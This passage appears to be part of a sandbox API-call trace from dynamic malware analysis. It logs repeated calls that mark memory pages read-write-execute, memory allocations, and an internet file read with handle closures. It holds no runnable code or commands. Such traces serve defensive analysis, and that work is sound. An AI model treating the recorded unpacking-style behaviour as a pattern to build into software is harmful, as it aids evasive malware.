BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.169] VirtualAlloc (lpAddress=0x1f020000, dwSize=0xe0000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f020000 [0147.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.173] VirtualFree (lpAddress=0x1f01c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.229] VirtualFree (lpAddress=0x1f000000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0147.229] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x420000, dwFreeType=0x4000) returned 1 [0147.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.252] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x8f64) returned 1 [0147.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.278] VirtualAlloc (lpAddress=0x1f45c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f45c000 [0147.279] VirtualFree (lpAddress=0x1f008000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0147.280] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f540000 [0147.281] VirtualAlloc (lpAddress=0x1f540000, dwSize=0x370000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f540000 [0147.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.299] VirtualAlloc (lpAddress=0x1f468000, dwSize=0xd8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f468000 [0147.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.306] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.369] VirtualFree (lpAddress=0x1f100000, dwSize=0x358000, dwFreeType=0x4000) returned 1 [0147.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.390] VirtualFree (lpAddress=0x1f020000, dwSize=0xe0000, dwFreeType=0x4000) returned 1 [0147.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.395] VirtualFree (lpAddress=0x1f000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.402] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x0) returned 1 [0147.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.403] VirtualFree (lpAddress=0x1f458000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0147.403] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0147.404] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0147.404] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0147.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.407] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.408] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x1ebe0000 [0147.409] VirtualAlloc (lpAddress=0x1ebe0000, dwSize=0x448000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ebe0000 [0147.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.424] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.424] VirtualFree (lpAddress=0x1f8ac000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.481] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x444000, dwFreeType=0x4000) returned 1 [0147.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.516] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f990000 [0147.516] VirtualAlloc (lpAddress=0x1f990000, dwSize=0x364000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f990000 [0147.526] VirtualAlloc (lpAddress=0x1f8ac000, dwSize=0xe4000, flAllocationType=0x1000, 